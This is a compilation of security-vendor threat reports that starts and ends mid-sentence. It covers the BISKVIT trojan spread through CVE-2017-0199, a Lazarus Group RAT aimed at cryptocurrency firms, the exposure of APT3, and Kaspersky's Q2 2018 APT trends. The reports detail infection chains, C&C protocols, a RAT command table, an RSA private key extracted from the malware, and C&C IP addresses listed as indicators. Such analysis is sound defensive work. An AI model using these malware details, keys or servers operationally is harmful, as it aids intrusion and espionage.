bait file. CVE2017-0199 is an HTA (HTML application) vulnerability that allows a malicious actor to download and execute a script containing PowerShell commands when a user opens a document containing an embedded exploit This is not the first time we have encountered an APT abusing this vulnerability. In fact, previous attacks have targeted people from UN agencies, Foreign Ministries, and people and organizations who interact with international governments. 2/15 Figure 03. Overview of attack Once the PPSX file is opened, it triggers a script in ppt/slides/_rels/slides1.xml.rels. The exploit then downloads additional code from the remote server, as shown in figure 04, and executes it using the PowerPoint Show animations feature. Figure 04. PPSX file exploiting CVE-2017-0199 Shown below is the code from the remote server after the PowerShell exploit embedded in the XML file is successfully executed and downloads an executable payload into %Temp%. 3/15 Figure 05. defender XML When executed, Defender.exe drops the following files: Figure 06. TMPEC4E directory SynTPEnh a directory with the BISKVIT malware package Csrtd.db an encrypted configuration file used by DevicePairing.exe for autorun installation Figure 07. Decrypted configuration DevicePairing.exe also identified in the code as "AutorunRegistrator", its function is to copy the SynTPEnh directory to %appdata% and add it to the autorun registry entry 4/15 DevicePairing.exe.config a runtime configuration file Kernel32.dll a common library of BISKVIT malware Newtonsoft.Json.dll a popular JSON serializer for .NET BISKVIT The BISKVIT Trojan is a multi-component malware written in C#. We dubbed this malware BISKVIT based on the namespaces used in the code, which contain the word biscuit Unfortunately, there is already an existing unrelated malware called BISCUIT, so BISKVIT is used instead, which is the Russian translation of biscuit. Figure 08. Biscuit modules Due to the modular nature of BISKVIT, it s difficult to exactly determine all of its functionalities since components are only downloaded and loaded on the fly at the direction of the attacker. As of this writing, we have only been able to download one component. So far, based on the code of the components that we were able to acquire, this malware is capable of, but not limited to the following: Downloading files and components Hidden/stealthy execution of downloaded and local files Downloading of dynamic configuration files Updating itself Deleting itself 5/15 The BISKVIT malware is copied to the %appdata%\ SynTPEnh from the %temp% folder, as mentioned above. These are the contents of the %appdata%\SynTPEnh folder: SynTPEnh.exe the main BISKVIT malware file Csrtd.db an encrypted configuration file SynTPEnh.exe.config a runtime configuration file Kernel32.dll a common library of BISKVIT malware Newtonsoft.Json.dll a popular JSON serializer for .NET The main BISKVIT file disguises itself as the legitimate Synaptics Pointing Device Driver file to avoid suspicion by the user. Figure 09. Information disguised as Synaptics When executed, it initializes its base configuration, which contains the following information: 6/15 Figure 10. Base configuration It then loads and decrypts its configuration file, named csrtd.db. This configuration file is encrypted with AES using the following keys: Figure 11. Default AES and IV key Once decrypted, this configuration file contains the command and control server, the time interval used by the malware to check for jobs from the command and control server, an API key, and RSA key information. We didn t find code references to the RSA encryption method, so we think that s being used by other components that we haven t acquired as of this writing. 7/15 Figure 12. Decrypted configuration Command and Control Communications This malware communicates with the command and control server through REST APIs using the JSON format. The malware first gets an access token by sending an API key. If not specified in the configuration, the API key is generated from the CPU, disk drive, and MAC address information of the infected machine. This API key is a unique ID, which is also used to identify the machine. Figure 13. Unique Id composition The API key is sent to the command and control server via an HTTP POST request to the API /api/auth/token. Figure 14. POST ApiKey The server replies with access token information that will be used for the entire session. 8/15 Figure 15. Access token This malware then receives and executes commands from the attacker through a jobs API. It sends an HTTP GET request to the API /api/job to get a job after a certain time has lapsed, as indicated by the interval set in the configuration. Figure 16. GET api/job The response would be a job with four main keys: id, resultUri, tasks, and executionOptions. Figure 17. Job id - is the job ID resultUri - is where the malware will HTTP POST the result of the job 9/15 executionOptions - tells the malware if it will execute the package at certain time interval, and if it will be started at startup. tasks this key contains information about packages (components/other files) that the attacker wants downloaded to and executed on the infected machine. The executeMode in the key tasks tells the malware how to execute the package. Figure 18. Execute modes If the mode is 0, the package is treated as a component/library and is executed with the parameter indicated in the parameters key. If the mode is 1, the package is treated as a file and is executed by using either the ShellExecuteEx() or CreateProcess() Windows API, with WindowStyle set to Hidden and CreateNoWindow set to true. Figure 19. ExecuteHide If the mode is 2, the package is treated as file and is executed using the 10/15 CreateProcessAsUser() Windows API. Figure 20. StartAsUser Another interesting feature of this malware is that it saves jobs locally in a folder named 534faf1cb8c04dc881a3fbd69d4bc762. Figure 21. Jobs Directory Jobs are encrypted using the same AES encryption as that of the configuration file, and are named with its job id with a .db extension. This means that it can continue executing the jobs on the next execution of the malware even when its current process is interrupted or terminated. After completing the job, this malware deletes the locally saved job. During our analysis, the malware received a job to download a package with executeMode set to 0. This means the package is a component/library that can be downloaded from /api/package/5b61b91da99a25000198dfcc. Figure 22. Job with packageId and executeMode 11/15 The package from the downloadUri specified in the job resulted to a zip file with a PK header. Figure 23. Get Package Packages are stored in the folder 083c57797944468895820bf711e3624f. Figure 24. Packages Directory After checking what component had been downloaded, we discovered that it was a component called FileExecutor, which just executes the files indicated in the parameters key. Figure 25. Job and Task s parameters This FileExecutor component has the same functionality as the executeMode set to 1, which just executes a file using either the ShellExecuteEx() or CreateProcess() with WindowStyle set to Hidden and CreateNoWindow set to true. In the above job, it tells the malware to use the 12/15 FileExecutor component to execute systeminfo with timeout set at 30 seconds, as indicated by the Waittime key. The command systeminfo displays detailed configuration information about a computer and its operating system, including its operating system configuration, security information, product ID, and hardware properties (such as RAM, disk space, and network cards). Figure 26. Systeminfo data POST to CC For the C&C to know the status of the jobs running, it also includes the key State that has the values shown below. The data that was sent during our analysis included the State being equal to 2, meaning it is complete. 13/15 Figure 27. Job States After the systeminfo job, it seemed that the attacker noticed that the machine he/she sent the job to was an analysis machine, so the C&C stopped sending any jobs. This could only mean that the attacker behind this attack is being very careful to not infect computers that are not targets and to avoid alerts. While it is not new for C&C servers used in targeted attacks to suddenly stop responding after collecting the basic information of the victim s computer, the C&C used here is not completely blocking its communication. Instead, it just stopped sending jobs. This enables researchers and analysts to still monitor the C&C. Low AV Detection Interestingly, even if the malware files are not packed or obfuscated, only a few AV vendors, including Fortinet, were able to detect the files. Conclusion The use of current and upcoming events as bait to target high profile targets is becoming more and more popular among attackers. Based on our findings, we believe that this is a well-planned attack, especially considering the timely distribution of the malicious decoy file and the use of a never-before-seen malware. These two ingredients provide the best chance for comprising their targets. Solution Fortinet detects all Biskvit malware components as W32/BiskvitLoader.A!tr, MSIL/BiskvitAutoRun.A!tr, MSIL/BiskvitLib.A!tr, MSIL/Biskvit.A!tr, MSOffice/Exploit.CVE20178570!tr. 14/15 Malicious URLs related to this malware are also blocked through the FortiGuard Web Filtering Service. We recommend that all users apply the patch released by Microsoft for CVE-2017-0199. Special thanks to Evgeny Ananin for translating the content of the exploit document from Russian to English. be7459722bd25c5b4d57af0769cc708ebf3910648debc52be3929406609997cf a87daccbb260c5c68aaac3fcd6528f9ba16d4f284f94bc1b6307bbb3c6a2e379 b4a1f0603f49db9eea6bc98de24b6fc0034f3b374a00a815b5c906041028ddf3 934542905f018ecb495027906af13cc96e3f55e11751799f39ef4a3dceff562b 23a286d14de1f51c5073caf0fd40a7636c287f578f32ae5e05ed331741fde572 hxxp://bigboss.x24hr.com hxxp://secured-links.org/ Download our latest Global Threat Landscape Report. russia, APT Campaign Copyright 2019 Fortinet, Inc. All Rights Reserved 15/15 Lazarus Group Targets More Cryptocurrency Exchanges and FinTech Companies intezer.com/lazarus-group-targets-more-cryptocurrency-exchanges-and-fintech-companies/ March 28, 2018 Blog Cybersecurity DNA Introduction Cyber attacks from the Lazarus Group, a threat actor associated with North Korea, has not slowed down and their malware toolset continues to evolve. A few months ago, we published a general research of the Lazarus Group and the Blockbuster campaign including code reuse and similarities throughout their malware up until the latest news regarding targeting bitcoin and cryptocurrency exchanges. In recent attacks, the Lazarus Group has been spreading malicious documents with a RAT embedded inside that gets executed through a VBA macro. These malicious documents contained a job description for different positions in various industries. Through our research, we came across a new malicious document where we have found changes and a continuation to their campaign targeting potential cryptocurrency exchanges, FinTech, financial companies, and others who might be involved with cryptocurrencies. The malicious document came embedded with an upgraded and revamped version of a RAT they have added to their arsenal. Infection Vector The malicious document s original creation name is Investment Proposal.doc and attempts to impersonate an employee of an Australia based law firm for commercial and financial services 1/18 named Holley Nethercote. The document states that they have evaluated several cryptocurrencies and they have put together an investment proposal aimed at FinTech, financial, and other companies who might be interested in taking an investment. As can be seen in the photos of the document below, the document is of very low quality, meaning there are inconsistencies and typos everywhere in a document supposedly from a law firm. The first page contains a basic description of what the investment proposal involves. Take note of the name Kate Harris, a director from Holley Nethercote, by whom the document was 2/18 supposedly written. The second page is a general description of the company Holley Nethercote which is directly taken from the first page of a PDF on the company s website. 3/18 The third page is a list of their employees and staff as can also be found on their website. Remember Kate Harris, the director, from before? Shockingly enough, she does not exist on this list. 4/18 The fourth page contains a chart of various cryptocurrencies and random values associated with them. The interesting point here is the date of a Bitcoin price that it mentions from February 9th, 2018 which helps us put on a timeline of when this malicious document was originally created. 5/18 The fifth page states how they would like to invest $50M in the company that received this document and contains some typos like instead of and other grammatical errors. 6/18 The sixth page is a very poorly written document supposedly signed by the CEO of Holley Nethercote involving the investment proposition. It also contains various typos and grammatical errors with the general flow not making sense. 7/18 The seventh and last page contains some fake contact information including a phone number from the UK that is from an online service that allows you to receive an SMS through the website. Technical Details Upon launching the document, an obfuscated VBA macro is executed to drop and execute an embedded remote access tool. 8/18 (embedded VBA macro) The embedded RAT is dropped to and executed from %USERPROFILE%\RuntimeBroker.exe. More evidence besides the date in the content of the document, pointing to this malware out in February is that we can also see the compilation timestamp is from February 14, 2018 and the upload date was on March 2, 2018. After uploading the RAT to Intezer Analyze , we found 4% of the code to have been used in previous malware attributed to the Lazarus group, but 85% of the code base is completely unique. This says to us that they made some changes to their code. (https://analyze.intezer.com/#/analyses/ffb3993e-d646-42ad-8449-104d751cc17b) The first code that gets executed within the RAT first decrypts a locally created, XOR encrypted buffer of names of modules and imports that it resolves via GetProcAddress. Resolving the binary s own imports in this manner is very common in many of the previous 9/18 Lazarus attributed malware. Next, the RAT creates a shortcut of itself to %USERPROFILE%\Start Menu\Programs\Startup\RuntimeBroker.lnk in order to maintain persistence and sets the attributes of itself using SetFileAttributesW to HIDDEN | SYSTEM | NORMAL. Inside of the function that is used for setting up the persistence, we can find a call to a function that is responsible for decrypting a buffer containing multiple wide strings used throughout the binary. 10/18 As can be seen in the function, it uses a very basic decryption routine to decrypt the locally stored buffer. The decrypted buffer is as follows: 11/18 The parameter to the function responsible for decrypting this buffer is an offset to grab a string from this decrypted buffer by multiplying it by two, since these are wide strings. Strangely enough, a lot of these strings are not used anywhere in the binary. By the strings, you can see there is an intention of including a simple anti-VM technique to detect VirtualBox. There is also one more function located within the binary, responsible for the same functionality with a different buffer containing different strings. Following all of this, the RAT then creates a backdoor which then waits to receive commands from the various C&C servers. 12/18 The C&C handler used to follow a pattern of command IDs but it appears to have changed to random command values and contains commands with new functionality. Their handler is able to handle 22 different commands and the descriptions of each can be found in the chart below. Command Functionality 0xF4004A Execute cmd.exe and output results to temp file or retrieve CD via GetCurrentDirectoryW. Cmd.exe /c > 2>&1 0x460017 Collect various information about the hard drive such as the space and volume information 0x7C00E6 Collect various information about the computer such as the computer name, username, host name, and more. 0x6400E5 Creates new process via CreateProcessW 0xBE007B Collect data about running processes by traversing the process list via CreateToolhelpSnapshot32 related APIs 0x8500AF Terminates a process by name 0xC004B Gets specific file(s) data such as filenames, times, and attributes 0xD7007C Collects a file and sends it to the C&C 0x3300E2 Zips file(s) to temp and sends archive to C&C 0x9D00B0 Write a file received from the server 0x200DF Write a 5mb file with random bytes 13/18 0x2E0016 Deletes files 0x6C00AE Overwrites entire file(s) contents with 0xCC and then deletes the file 0xFD0013 Recursively traverse directory collecting file information 0x3C00AB Checks if socket write access is valid to a given address 0x4B00E3 Sets file(s) time via SetFileTime 0xE50012 Configuration 0x5400AC Updates socket configuration 0x1B00E1 Renames file and sets attributes 0x750077 Elevate process privileges 0xCC0010 Inject code received by server into process 0x150014 Pong response to ping The binary uses wolfSSL to encrypt the network traffic containing two different certificates and one private key. The certificates are stored in a local buffer of a function located within the binary. -----BEGIN CERTIFICATE----MIIDYjCCAkqgAwIBAgIIAT8TuSzaBG4wDQYJKoZIhvcNAQELBQAwZjELMAkGA1UE BhMCVVMxGTAXBgNVBAoMEEdsb2JhbFNpZ24gbnYtc2ExPDA6BgNVBAMMM0dsb2Jh bFNpZ24gT3JnYW5pemF0aW9uIFZhbGlkYXRpb24gQ0EgLSBTSEEyNTYgLSBHMjAi GA8yMDE3MDkyNDA3MDMzOFoYDzIwMTkwMjA3MDcwMzM4WjBmMQswCQYDVQQGEwJV UzEZMBcGA1UECgwQR2xvYmFsU2lnbiBudi1zYTE8MDoGA1UEAwwzR2xvYmFsU2ln biBPcmdhbml6YXRpb24gVmFsaWRhdGlvbiBDQSAtIFNIQTI1NiAtIEcyMIIBIjAN BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvwzKLRSyHoRCW804H0ryTXUQ8bY1 n9/KfQOY06zeA2buKvHYsH1uB1QLEJghTYDLEiDnzE/eRX3Jcncy6sqQu2lSEAMv qPOVxfGLYlYb72dvpBBBla0Km+OlwLDScHZQMFuo6AgsfO2nonqNOCkcrMft8nyV sJWCfUlcOM13Je+9gHVTlDw9ymNbnxW10x0TLxnRPNt2Osy4fcnlwtfaQG/YIdxz G0ItU5z+Gvx9q3o2P5jehHwFZ85qFDiHqfGMtWjLaH9xICv1oGP1Vi+jJtK3b7Fa F9c4mQj+k1hv/sMTSQgWC6dNZwBSMWcjTpjtUUUduQTZC+zYKLNLve02eQIDAQAB oxAwDjAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQA261N1CtZuZ4Mf 5Q+KghudGcp+sG2X1UzQ8eZqYK+6xmIClKWSQ3EhWB19zor2dOOb2fRJ4iw72Lhy 14/18 cH57R84whQSqqY9tqjwwulavMAzdBlz3RqsnAqdL5C6jeEfJmxmymH4Jz6kqJbCh H1LVp6ToJ+lYA0QoCxkMqe6jCWE5K8QefM/kx8WhROJTdHHUKjFXFmon/fIJUAxo SesxW3+YPeY7zzBUIjh0lYMhiyvXMDIMLo9zewR2nfi3aAa+APwAulTjm46dbH4K cn7jc8IOt954R5jakc0AhtSZUHlPqKKHZy19iDfpcoFA7L/WuiNkfYPvN6eaxAvA b3dxfi8N -----END CERTIFICATE----- -----BEGIN CERTIFICATE----MIIDgTCCAmmgAwIBAgIIAUyTG93zLTEwDQYJKoZIhvcNAQELBQAwZjELMAkGA1UE BhMCVVMxGTAXBgNVBAoMEEdsb2JhbFNpZ24gbnYtc2ExPDA6BgNVBAMMM0dsb2Jh bFNpZ24gT3JnYW5pemF0aW9uIFZhbGlkYXRpb24gQ0EgLSBTSEEyNTYgLSBHMjAi GA8yMDE3MDkyNDA3MDUyMVoYDzIwMTkwMjA3MDcwNTIxWjCBljELMAkGA1UEBhMC VVMxEDAOBgNVBAgMB05ld1lvcmsxEzARBgNVBAcMClJpdmVyIFZpZXcxIzAhBgNV BAoMGldpa2ltZWRpYSBGb3VuZGF0aW9uLCBJbmMuMRgwFgYDVQQDDA8qLndpa2lw ZWRpYS5vcmcxITAfBgkqhkiG9w0BCQEWEmluZm9Ad2lraXBlZGlhLm9yZzCCASIw DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMMD0Sv+OaQyRTtTyIQrKnx0mr2q KlIHR9amNrIHMo7Quml7xsNEntSBSP0taKKLZ7uhdcg2LErSG/eLus8N+e/s8YEe e5sDR5q/Zcx/ZSRppugUiVvkNPfFsBST9Wd7Onp44QFWVpGmE0KN0jxAnEzv0Ybf N1EbDKE79fGjSjXk4c6W3xt+v06X0BDoqAgwga8gC0MUxXRntDKCb42GwohAmTaD uh5AciIX11JlJHOwzu8Zza7/eGx7wBID1E5yDVBtO6M7o5lencjZDIWz2YrZVCbb bfqsu/8lTMTRefRx04ZAGBOwY7VyTjDEl4SGLVYv1xX3f8Cu9fxb5fuhutMCAwEA ATANBgkqhkiG9w0BAQsFAAOCAQEAGjef4dfuIkF7MdfLs4x5KqzM4/5+h1lS+SWS ojTaAuH2++1pGgVV4vfGB9QVxoTDkcp5wWjw184x+P19Fjio+ucUUOmFmD7BERXX V4NZMv/TwucAbRIb6/FRv13Koigi05tIhXesownpbMZq7p6I9P9GAd/Uu7XCMTPO UHpuTtNoI+tjwwBhZK0XXp5ORdHKWbXfLXQgiCXLPJntKdrRnUzJpXvYQzTeZKxf dQmjS8QN8IFtvBuprb3grAhm/wV+ueerTcM/wyBOu/7gg0J7CsjztqtomIHYAbpi 15/18 x5pf3b6mzKG72ibnaKgL29wur5Cs+8in9d8/kOxgTpWbzZc35A== -----END CERTIFICATE----- -----BEGIN RSA PRIVATE KEY----MIIEpAIBAAKCAQEAwwPRK/45pDJFO1PIhCsqfHSavaoqUgdH1qY2sgcyjtC6aXvG w0Se1IFI/S1oootnu6F1yDYsStIb94u6zw357+zxgR57mwNHmr9lzH9lJGmm6BSJ W+Q098WwFJP1Z3s6enjhAVZWkaYTQo3SPECcTO/Rht83URsMoTv18aNKNeThzpbf G36/TpfQEOioCDCBryALQxTFdGe0MoJvjYbCiECZNoO6HkByIhfXUmUkc7DO7xnN rv94bHvAEgPUTnINUG07ozujmV6dyNkMhbPZitlUJttt+qy7/yVMxNF59HHThkAY E7BjtXJOMMSXhIYtVi/XFfd/wK71/Fvl+6G60wIDAQABAoIBAQCi5thfEHFkCJ4u bdFtHoXSCrGMR84sUWqgEp5T3pFMHW3qWXvyd6rZxtmKq9jhFuRjJv+1bBNZuOOl yHIXLgyfb+VZP3ZvSbERwlouFikN3reO3EDVou7gHqH0vpfbhmOWFM2YCWAtMHac PM3miO5HknkLWgDiXl8RfH35CLcgBokqXf0AqyLh8LO8JKleJg4fAC3+IZpTW23T K6uUgmhDNtj2L8Yi/LVBXQ0zYOqkfX7oS1WRVtNcV48flBcvqt7pnqj0z4pMjqDk VnOyz0+GxWk88yQgi1yWDPprEjuaZ8HfxpaypdWSDZsJQmgkEEXUUOQXOUjQNYuU bRHej8pZAoGBAOokp/lpM+lx3FJ9iCEoL0neunIW6cxHeogNlFeEWBY6gbA/os+m bB6wBikAj+d3dqzbysfZXps/JpBSrvw4kAAUu7QPWJTnL2p+HE9BIdQxWR9OihqN p1dsItjl9H4yphDLZKVVA4emJwWMw9e2J7JNujDaR49U0z2LhI2UmFilAoGBANU4 G8OPxZMMRwtvNZLFsI1GyJIYj/WACvfvof6AubUqusoYsF2lB9CTjdicBBzUYo6m JoEB/86KKmM0NUCqbYDeiSNqV02ebq2TTlaQC22dc4sMric93k7wqsVseGdslFKc N2dsLe+7r9+mkDzER8+Nlp6YqbSfxaZQ3LPw+3QXAoGAXoMJYr26fKK/QnT1fBzS ackEDYV+Pj0kEsMYe/Mp818OdmxZdeRBhGmdMvPNIquwNbpKsjzl2Vi2Yk9d3uWe CspTsiz3nrNrClt5ZexukU6SIPb8/Bbt03YM4ux/smkTa3gOWkZktF63JaBadTpL 78c8Pvf9JrggxJkKmnO+wxkCgYEAukSTFKw0GTtfkWCs97TWgQU2UVM96GXcry7c YT7Jfbh/h/A7mwOCKTfOck4R1bHBDAegmZFKjX/sec/xObXphexi99p9vGRNIjwO 8tZR9YfYmcARIF0PKf1b4q7ZHNkhVm38hNBf7RAVHBgh58Q9S9fQnmqVzyLJA3ue 16/18 42AB/C8CgYAR0EvPG2e5nxB1R4ZlrjHCxjCsWQZQ2Q+1cAb38NPIYnyo2m72IT/T f1/qiqs/2Spe81HSwjA34y2jdQ0eTSE01VdwXIm/cuxKbmjVzRh0M06MOkWP5pZA 62P5GYY6Ud2JS7Dz+Z9dKJU4vjWrylznk1M0oUVdEzllQkahn831vw== -----END RSA PRIVATE KEY----- Conclusion As we can see, the Blockbuster campaign and the Lazarus group are still active and have shown a continued interest in cryptocurrencies and companies surrounding cryptocurrency. Numerous exchanges are believed to have been hacked by the Lazarus group and there has been a significant amount of money stolen by doing so. Since their efforts have been so successful, it does not look like they will slow down anytime soon with these types of targets. IoCs Malicious Document 6b424d75445b3dabfb9b20895d0a1ce1430066ce7f3fcd87aa41fa32260ff92d RAT f8b329fc1f4d50f5509a72c1f630155538f4d2c6e49b80ce4841fada6547c4bd C&Cs 182.56.5.227 222.122.31.115 66.99.86.8 210.61.8.12 62.215.99.90 By Jay Rosenberg Jay Rosenberg is a self-taught reverse engineer from a very young age (12 years old), specializing in Reverse Engineering and Malware Analysis. Currently working as a Senior Security Researcher in Intezer. Share: Register to our free community Try it now 17/18 Intezer.com 2017 All rights reserved 18/18 The destruction of APT3 intrusiontruth.wordpress.com/2018/05/22/the-destruction-of-apt3/ intrusiontruth May 22, 2018 Twelve months have passed since this blog exposed Wu Yingzhuo, Dong Hao, their company Boyusec and the Chinese Ministry of State Security (MSS) as being behind APT3. APT3 was, at the time, one of the most damaging APT attacks to hit Western companies. One year on, we take a look back at what happened after our publication. The disappearance of APT3 We published our explosive analysis in April and May 2017. It was the first time that the Chinese Intelligence Services had been conclusively linked to an APT and followed similar revelations, years previously, linking People s Liberation Army (PLA) Unit 61398 to APT1. The Boyusec website went offline the morning after the exposure and it hasn t been back online since. The morning after, on boyusec.com Boyusec disappeared into the shadows without making any effort to contact us or to refute any of the conclusions of our analysis. These were not the actions of innocent individuals. Where did these guys run off to? Perhaps not proud of their work as APT3? #buckeye #gothicpanda #apt3 #boyusec #cyber pic.twitter.com/0lIzSIzxjd Intrusion Truth (@intrusion_truth) May 10, 2017 Corroboration by the community A fortnight after our publication, a series of articles appeared online drawing on our work and corroborating it. Our analysis formed the basis of articles by, among others, Security Week, Dark Reading, Recorded Future, Threat Post and Security Lab. The Information Security community agreed with our conclusion that Boyusec and MSS were behind the APT3 attacks. There has been a lot of accumulated evidence that these guys are tied to the state John Hultquist, Director of Analysis at FireEye, said to Foreign Policy magazine. Threat Post coverage based on Intrusion Truth analysis US Government charges Wu and Dong But the story doesn t quite end there. Six months after our publications the US Justice Department unsealed indictments against Wu Yingzhuo, Dong Hao and Xia Lei for computer hacking, theft of trade secrets, conspiracy and identity theft. They had been prepared in September 2017. Three US victims were identified in the indictment Trimble, Siemens and Moody s Analytics one for each of the co-conspirators The indictment document released by the US Government Though the indictments didn t mention the Chinese Government, Justice Department spokesman Wyn Hornbuckle said that prosecutors only included the allegations that we are prepared to prove in court with admissible evidence Wu, Dong and Xia are no longer able to travel internationally without fear of arrest and trial. The maximum sentence for their crimes? 20 years. Contractors vs employees The Chinese Intelligence Service, MSS, had perhaps tried to be more careful than their military colleagues in the People s Liberation Army. They used commercial hackers rather than government employees, probably thinking that it lent them some additional deniability. But, given that the company involved was identified as MSS-tasked in any case, that choice may have been a mistake. As private citizens, Wu, Dong and Xia are vulnerable to action by other countries that may choose to treat them as common criminals rather than government officials. The three have already been charged by the US government and now risk being arrested, deported, tried and imprisoned. What happened to APT3? This blog has been contacted by several InfoSec professionals who had been following APT3. Without exception they reported a complete cessation of APT3 activity in May 2017. Following the US indictment announcement in November 2017, the Wall Street Journal also reported that Boyusec had been disbanded. The Wall Street Journal claims that Boyusec was disbanded in late 2017 In addition to the evidence above, the press release announcing the American indictments against Wu, Dong and Xia refers to May 2017 as the final date of their activity. Our conclusion? It seems that APT3 is no more. What s next? The in APT stands for Persistent. But this episode goes to show that Chinese APT hackers will only persist whilst their activity remains anonymous. APT3 was one of the biggest APT threats to Western companies, yet it was completely silenced by shining a light on its activities and exposing the identities of those behind the group to the world. Analysts working with this blog are continuing their efforts to identify the individuals, companies and state institutions behind the damaging attacks that hit the West. We have accumulated evidence on several groups over the last twelve months and hope to share some of it soon. APT Trends Report Q2 2018 securelist.com/apt-trends-report-q2-2018/86487 By GReAT In the second quarter of 2017, Kaspersky Lab s Global Research and Analysis Team (GReAT) began publishing summaries of the quarter s private threat intelligence reports, in an effort to make the public aware of the research we have been conducting. This report serves as the latest installment, focusing on the relevant activities that we observed during Q2 2018. These summaries are a representative snapshot of what has been discussed in greater detail in our private reports. They aim to highlight the significant events and findings that we feel people should be aware of. For brevity s sake, we are choosing not to publish indicators associated with the reports highlighted. However, readers who would like to learn more about our intelligence reports or request more information on a specific report are encouraged to contact: intelreports@kaspersky.com. Remarkable new findings We are always interested in analyzing new techniques used by existing groups, or in finding new clusters of activity that might lead us to discover new actors. Q2 2018 was very interesting in terms of APT activity, with a remarkable campaign that reminds us how real some of the threats are that we have been predicting over the last few years. In particular, we have warned repeatedly how ideal networking hardware was for targeted attacks, and that we had started seeing the first advanced sets of activity focusing on these devices. In terms of well-known groups, Asian actors were the most active by far. Lazarus/BlueNoroff was suspected of targeting financial institutions in Turkey as part of a bigger cyberespionage campaign. The same actor was also suspected of a campaign against an online casino in Latin America that ended in a destructive attack. Based on our telemetry, we further observed Lazarus targeting financial institutions in Asia. Lazarus has accumulated a large collection of artefacts over the last few years, in some cases with heavy code reuse, which makes it possible to link many newly found sets of activity to this actor. One such tool is the Manuscrypt malware, used exclusively by Lazarus in many recent attacks. The US-CERT released a warning in June about a new version of Manuscrypt they call TYPEFRAME. US-CERT alert on Manuscrypt/TYPEFRAME malware used by Lazarus Even if it is unclear what the role of Lazarus will be in the new geopolitical landscape, where North Korea is actively engaged in peace talks, it would appear that financially motivated activity (through the BlueNoroff and, in some cases, the Andariel subgroup) continues unabated. Possibly even more interesting is the relatively intense activity by Scarcruft, also known as Group123 and Reaper. Back in January, Scarcruft was found using a zero-day exploit, CVE2018-4878 to target South Korea, a sign that the group s capabilities were increasing. In the last few months, the use of Android malware by this actor has been discovered, as well as a new campaign where it spreads a new backdoor we call POORWEB. Initially, there was suspicion that Scarcruft was also behind the CVE-2018-8174 zero day announced by Qihoo360. We were later able to confirm the zero day was actually distributed by a different APT group, known as DarkHotel. The overlaps between Scarcruft and Darkhotel go back to 2016 when we discovered Operation Daybreak and Operation Erebus. In both cases, attacks leveraged the same hacked website to distribute exploits, one of which was a zero day. We were later able to separate these as follows: Operation Exploit Actor Daybreak CVE-2016-4171 DarkHotel Erebus CVE-2016-4117 Scarcruft DarkHotel s Operation Daybreak relied on spear-phishing emails predominantly targeting Chinese victims with a Flash Player zero day. Meanwhile, Scarcruft s Operation Erebus focused primarily on South Korea. Analysis of the CVE-2018-8174 exploit used by DarkHotel revealed that the attacker was using URLMoniker to invoke Internet Explorer through Microsoft Word, ignoring any default browser preferences on the victim s computer. This is the first time we have observed this. It is an interesting technique that we believe may be reused in future for different attacks. For more details check our Securelist Blog: The King is Dead. Long Live the King! We also observed some relatively quiet groups coming back with new activity. A noteworthy example is LuckyMouse (also known as APT27 and Emissary Panda), which abused ISPs in Asia for waterhole attacks on high profile websites. We wrote about LuckyMouse targeting national data centers in June. We also discovered that LuckyMouse unleashed a new wave of activity targeting Asian governmental organizations just around the time they had gathered for a summit in China. Still, the most notable activity during this quarter is the VPNFilter campaign attributed by the FBI to the Sofacy and Sandworm (Black Energy) APT groups. The campaign targeted a large array of domestic networking hardware and storage solutions. It is even able to inject malware into traffic in order to infect computers behind the infected networking device. We have provided an analysis on the EXIF to C2 mechanism used by this malware. This campaign is one of the most relevant examples we have seen of how networking hardware has become a priority for sophisticated attackers. The data provided by our colleagues at Cisco Talos indicates this campaign was at a truly global level. We can confirm with our own analysis that traces of this campaign can be found in almost every country. Activity of well-known groups It seems that some of the most active groups from the last few years have reduced their activity, although this does not mean they are less dangerous. For instance, it was publicly reported that Sofacy started using new, freely available modules as last stagers for some victims. However, we observed how this provided yet another innovation for their arsenal, with the addition of new downloaders written in the Go programming language to distribute Zebrocy. There is possibly one notable exception to this supposed lack of activity. After the Olympic Destroyer campaign last January against the Pyeongchang Winter Olympic games, we observed new suspected activity by the same actor (we tentatively called them Hades) in Europe. This time, it seems the targets are financial organizations in Russia, and biological and chemical threat prevention laboratories in Europe and Ukraine. But even more interesting is the resemblance between the TTPs and OPSEC of the Olympic Destroyer set of activity and those of Sofacy. Olympic Destroyer is a master of deception, so this may be yet another false flag, but so far we connect, with low to medium confidence, the Hades group activity to Sofacy. One of the most interesting attacks we detected was an implant from Turla (attributed to this actor with medium confidence) that we call LightNeuron. This new artefact directly targets Exchange Servers and uses legitimate standard calls to intercept emails, exfiltrate data and even send mails on behalf of the victims. We believe this actor has been using this technique since maybe as early as 2014, and that there is a version affecting Unix servers running Postfix and Sendmail. So far we have seen victims of this implant in the Middle East and Central Asia. Newcomers and comebacks Every now and then, we are surprised to see old actors that have been dormant for months or even years distributing new malware. Obviously, this may be caused by a lack of visibility, but regardless of that, it indicates that these actors are still active. One good example would be WhiteWhale, an actor that has been extremely quiet since 2016. We detected a new campaign last April where the actor was distributing both the Taidoor and Yalink malware families. This activity was almost exclusively targeting Japanese entities. Following the intense diplomatic activity around the North Korea peace talks and the subsequent summit with the U.S. president in Singapore, Kimsuky decided to take advantage of this theme to distribute its malware in a new campaign. A massive update to its arsenal in late 2017 and early 2018 was mobilized in a new wave of spear-phishing emails. We also discovered a new low-sophistication set of activity we call Perfanly, which we couldn t attribute to any known actor. It has been targeting governmental entities in Malaysia and Indonesia since at least 2017. It uses custom multistage droppers as well as freely available tools such as Metasploit. Between June and July, we observed a battery of attacks against various institutions in Kuwait. These attacks leverage Microsoft Office documents with macros, which drop a combination of VBS and Powershell scripts using DNS for command and control. We have observed similar activity in the past from groups such as Oilrig and Stonedrill, which leads us to believe the new attacks could be connected, though for now that connection is only assessed as low confidence. Final thoughts The combination of simple custom artefacts designed mainly to evade detection, with publicly available tools for later stages seems to be a well-established trend for certain sets of activity, like the ones found under the Chinese-speaking umbrella , as well as for many newcomers who find the entry barrier into APT cyberespionage activity non-existent. The intermittent activity by many actors simply indicates they were never out of business. They might take small breaks to reorganize themselves, or to perform small operations that might go undetected on a global scale. Probably one of the most interesting cases is LuckyMouse, with aggressive new activity heavily related to the geopolitical agenda in Asia. It is impossible to know if there is any coordination with other actors who resurfaced in the region, but this is a possibility. One interesting aspect is the high level of activity by Chinese-speaking actors against Mongolian entities over the last 10 months. This might be related to several summits between Asian countries some related to new relations with North Korea held in Mongolia, and to the country s new role in the region. There were also several alerts from NCSC and US CERT 